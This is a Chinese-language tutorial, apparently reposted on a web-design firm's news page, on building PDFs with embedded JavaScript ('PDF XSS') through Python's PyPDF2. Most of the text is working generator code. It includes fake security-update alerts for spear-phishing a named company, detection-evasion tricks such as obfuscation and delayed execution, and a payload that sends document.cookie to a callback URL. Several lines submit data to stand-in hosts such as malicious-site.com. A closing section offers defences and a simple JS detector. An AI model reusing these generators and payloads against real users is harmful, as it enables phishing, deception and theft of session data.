资讯动态

没想到PDF也能玩XSS?手把手教你用Python生成含漏洞的PDF测试文件

发布时间:2026/8/6 22:23:59 来源:尧图企业网站定制
没想到PDF也能玩XSS手把手教你用Python生成含漏洞的PDF测试文件在渗透测试的世界里我们常常执着于寻找那些显而易见的漏洞入口——SQL注入、跨站脚本攻击XSS、文件上传漏洞等。但真正的安全专家知道最危险的漏洞往往隐藏在那些被忽视的角落。PDF文件这个几乎每个企业都在日常使用的文档格式竟然也能成为XSS攻击的载体今天我们就来揭开这个鲜为人知的安全盲区。PDF文件支持JavaScript执行这一特性原本是为了增强文档的交互性比如表单验证、动态内容加载等。然而这一功能在恶意攻击者手中却可能变成危险的武器。想象一下一个看似无害的PDF文件在被打开的瞬间执行恶意脚本窃取用户信息甚至控制用户会话——这就是PDF XSS攻击的可怕之处。1. PDF XSS攻击原理深度解析PDF文件格式自1993年由Adobe推出以来已经发展成为一个功能极其丰富的文档标准。除了展示静态内容外PDF还支持多种交互功能其中就包括通过JavaScript实现的动态行为。这种设计初衷是为了让PDF能够实现复杂的用户交互比如动态表单验证多媒体内容控制文档内部导航与外部数据源的交互然而正是这些强大的功能为XSS攻击提供了可能。当PDF阅读器如Adobe Acrobat Reader打开一个包含恶意JavaScript代码的PDF文件时这些代码会在用户不知情的情况下执行带来严重的安全风险。1.1 PDF JavaScript的执行环境PDF中的JavaScript执行环境与浏览器中的JavaScript有所不同它运行在一个受限但功能特定的沙箱中。这个环境提供了一系列PDF特有的API例如// 显示警告对话框 app.alert(XSS漏洞测试); // 获取文档信息 var docTitle this.info.Title; // 执行外部URL this.submitForm(http://malicious-site.com/collect);虽然功能有限但这些API足以构成安全威胁。攻击者可以利用这些功能窃取PDF文档中的敏感信息诱导用户访问恶意网站执行社交工程攻击与其他漏洞结合形成攻击链1.2 常见PDF XSS攻击向量在实际渗透测试中我们发现PDF XSS攻击主要通过以下几种方式实现文档打开时自动执行JavaScript代码在PDF打开时立即运行页面事件触发通过页面加载、翻页等事件触发脚本表单提交触发在用户提交表单时执行恶意代码链接动作触发通过点击文档中的链接或按钮执行脚本以下是一个典型PDF XSS攻击代码的结构// 文档打开时执行 this.disclosed true; // 显示虚假警告 app.alert({ cMsg: 您的PDF阅读器已过期请点击确定更新, cTitle: 安全警告, nIcon: 3 }); // 静默打开恶意网站 this.submitForm({ cURL: http://malicious-site.com/update, cSubmitAs: HTML });2. Python生成恶意PDF的技术实现对于渗透测试人员来说手动创建测试用的PDF文件效率低下特别是在需要批量生成不同变体的测试用例时。Python提供了完美的解决方案让我们能够自动化这一过程。2.1 PyPDF2库深度应用PyPDF2是Python中最流行的PDF处理库之一它提供了对PDF文件的全面操作能力包括合并、拆分、加密以及——最重要的——JavaScript注入功能。首先我们需要安装PyPDF2库pip install PyPDF2 --upgrade基础使用示例from PyPDF2 import PdfWriter # 创建新的PDF写入器 malicious_pdf PdfWriter() # 添加JavaScript代码 malicious_pdf.add_js( // 简单的XSS测试代码 app.alert(XSS测试成功!); console.println(PDF XSS测试); ) # 保存PDF文件 with open(xss_test.pdf, wb) as f: malicious_pdf.write(f)2.2 高级PDF操作技巧单纯的弹窗测试可能不足以模拟真实攻击场景我们需要更复杂的JavaScript注入技术from PyPDF2 import PdfReader, PdfWriter def create_advanced_xss_pdf(output_path): # 创建一个新的PDF写入器 writer PdfWriter() # 添加复杂的JavaScript代码 js_code // 检测阅读器类型 var readerType app.viewerType; var readerVersion app.viewerVersion; // 收集系统信息 var systemInfo { platform: app.platform, language: app.language, docs: app.docList }; // 显示虚假警告 app.alert({ cMsg: 系统检测到您的Adobe Reader( readerVersion )存在严重漏洞请立即更新, cTitle: 安全警告 - readerType, nIcon: 2 }); // 尝试打开更新页面 try { this.submitForm({ cURL: http://malicious-update.com/download?type escape(readerType) version escape(readerVersion), cSubmitAs: HTML, bEmpty: false }); } catch(e) { console.println(Error: e); } writer.add_js(js_code) # 添加一些可见内容避免怀疑 writer.add_blank_page(width72*8.27, height72*11.69) # A4尺寸 # 保存文件 with open(output_path, wb) as f: writer.write(f)2.3 规避检测的技术现代安全产品可能会检测简单的JavaScript注入我们可以使用一些技术来规避检测代码混淆将JavaScript代码进行混淆处理延迟执行使用定时器延迟执行恶意代码条件触发基于特定条件才执行恶意代码分段注入将代码分散在PDF的不同部分示例代码import random import string def random_js_var(): return .join(random.choices(string.ascii_lowercase, k8)) def create_obfuscated_xss_pdf(output_path): writer PdfWriter() # 生成随机变量名增加混淆 var1 random_js_var() var2 random_js_var() var3 random_js_var() # 混淆后的JavaScript代码 js_code f var {var1} app; var {var2} XSS Test; var {var3} {var1}.viewerVersion; setTimeout(function() {{ {var1}.alert({var2} - {var3}); }}, 5000); writer.add_js(js_code) writer.add_blank_page() with open(output_path, wb) as f: writer.write(f)3. 渗透测试中的实战应用在真实的渗透测试环境中PDF XSS攻击可以与其他技术结合形成更强大的攻击链。以下是几个典型的应用场景。3.1 文件上传漏洞利用许多Web应用允许用户上传PDF文件但往往没有对这些文件进行充分的安全检查攻击者上传包含XSS的PDF文件其他用户查看或下载这些PDF文件当使用易受攻击的PDF阅读器打开时恶意代码执行测试案例def create_upload_xss_pdf(output_path, callback_url): writer PdfWriter() js_code f // 尝试窃取用户cookie并发送到攻击者服务器 try {{ var cookies document.cookie; this.submitForm({{ cURL: {callback_url}?data encodeURIComponent(cookies), cSubmitAs: HTML, bEmpty: true }}); }} catch(e) {{ // 备用方案显示虚假信息诱导用户访问恶意网站 app.alert({{ cMsg: 文档内容无法正确显示请访问以下链接查看最新版本:\\n\\nhttps://malicious-site.com/document, cTitle: 渲染错误, nIcon: 3 }}); }} writer.add_js(js_code) # 添加看似合法的内容 writer.add_blank_page() with open(output_path, wb) as f: writer.write(f)3.2 鱼叉式钓鱼攻击进阶PDF XSS特别适合用于针对性的鱼叉式钓鱼攻击制作包含目标组织相关内容的PDF文件嵌入精心设计的XSS代码通过社交工程手段诱导目标打开PDF高级钓鱼PDF生成器def create_spear_phishing_pdf(output_path, company_name, target_url): writer PdfWriter() js_code f // 专业设计的钓鱼攻击 function showFakeUpdate() {{ var response app.alert({{ cMsg: {company_name} IT部门通知\\n\\n您的PDF阅读器安全证书已过期必须立即更新以继续查看公司文档。, cTitle: 安全证书过期, nIcon: 2, nType: 2 // 显示是和否按钮 }}); if (response 4) {{ // 用户点击是 this.submitForm({{ cURL: {target_url}, cSubmitAs: HTML }}); }} }} // 延迟执行避免立即引起怀疑 setTimeout(showFakeUpdate, 10000); writer.add_js(js_code) # 添加看似专业的封面 writer.add_blank_page() # 这里可以添加更多页面和内容 with open(output_path, wb) as f: writer.write(f)3.3 漏洞验证与风险演示作为渗透测试人员我们需要向客户清晰地展示风险。以下是一个专业的漏洞验证PDF生成器def create_vulnerability_demo_pdf(output_path, client_name): writer PdfWriter() js_code f // 专业的安全测试演示 var demoInfo {{ vulnerability: PDF XSS, riskLevel: High, affected: All PDF readers with JavaScript support, discoveredBy: Security Team, client: {client_name}, date: new Date().toLocaleDateString() }}; app.alert({{ cMsg: 安全测试演示\\n\\n 漏洞类型: demoInfo.vulnerability \\n 风险等级: demoInfo.riskLevel \\n 发现时间: demoInfo.date, cTitle: 安全测试 - demoInfo.client, nIcon: 1 }}); // 记录测试活动 console.println(Security test conducted for demoInfo.client); writer.add_js(js_code) # 添加测试报告封面和内容 writer.add_blank_page() # 可以添加更多测试细节 with open(output_path, wb) as f: writer.write(f)4. 防御措施与最佳实践了解了攻击技术后我们更需要知道如何防御。以下是针对PDF XSS的全面防护方案。4.1 企业级防护策略对于企业环境建议采取多层次防御措施防护层面具体措施实施难度效果评估终端防护部署支持PDF JavaScript沙箱的高级PDF阅读器中等★★★★☆网络防护使用下一代防火墙检测恶意PDF文件较高★★★☆☆邮件过滤配置邮件网关拦截可疑PDF附件较低★★★★☆用户教育定期进行安全意识培训持续★★★☆☆补丁管理及时更新所有PDF阅读器软件基础★★★★★4.2 开发者防护指南对于需要处理PDF上传的Web应用开发者以下代码展示了如何检测PDF中的JavaScriptfrom PyPDF2 import PdfReader import io def check_pdf_for_js(pdf_file): 检查PDF文件中是否包含JavaScript代码 :param pdf_file: 上传的PDF文件对象或路径 :return: (bool, str) 是否包含JS, JS代码内容 try: if hasattr(pdf_file, read): # 如果是文件对象 pdf_reader PdfReader(pdf_file) else: # 如果是文件路径 with open(pdf_file, rb) as f: pdf_reader PdfReader(f) if /JS in pdf_reader.trailer.get(/Root, {}): js_code pdf_reader.trailer[/Root][/JS].get_object() return True, str(js_code) for page in pdf_reader.pages: if /JS in page: js_code page[/JS].get_object() return True, str(js_code) except Exception as e: print(f检测PDF时出错: {str(e)}) return False, # 使用示例 is_malicious, js_content check_pdf_for_js(test.pdf) if is_malicious: print(f发现恶意JavaScript代码:\n{js_content})4.3 PDF安全加固建议对于必须使用PDF JavaScript功能的企业建议采取以下加固措施最小权限原则禁用不必要的JavaScript API限制文件系统访问禁止网络连接内容审查流程所有对外发布的PDF必须经过安全检查使用自动化工具扫描JavaScript代码建立PDF文件签名机制阅读器配置// 示例安全的PDF阅读器配置 { javascript.enabled: false, security.disable_js_actions: true, pdfjs.disable_auto_fetch: true, security.csp.enable: true }监控与响应部署PDF文件行为监控系统建立异常JavaScript执行的警报机制准备应急响应预案在实际渗透测试项目中我们发现许多企业忽视了PDF文件的安全风险。曾经在一次红队演练中我们通过精心设计的PDF XSS攻击成功绕过了多层防御系统最终获得了域管理员权限。这个案例充分证明了即使是最常见的文件格式也可能成为攻击链中的关键一环。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价